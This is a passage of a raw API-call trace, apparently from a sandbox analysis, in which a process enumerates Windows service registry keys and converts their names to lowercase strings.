lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.293] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.293] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.294] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.294] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.294] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.294] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.295] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.295] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.295] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0256.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.295] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.296] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0256.296] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0256.297] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0256.298] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0256.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0256.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0256.301] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0256.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0256.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0256.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0256.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0256.304] 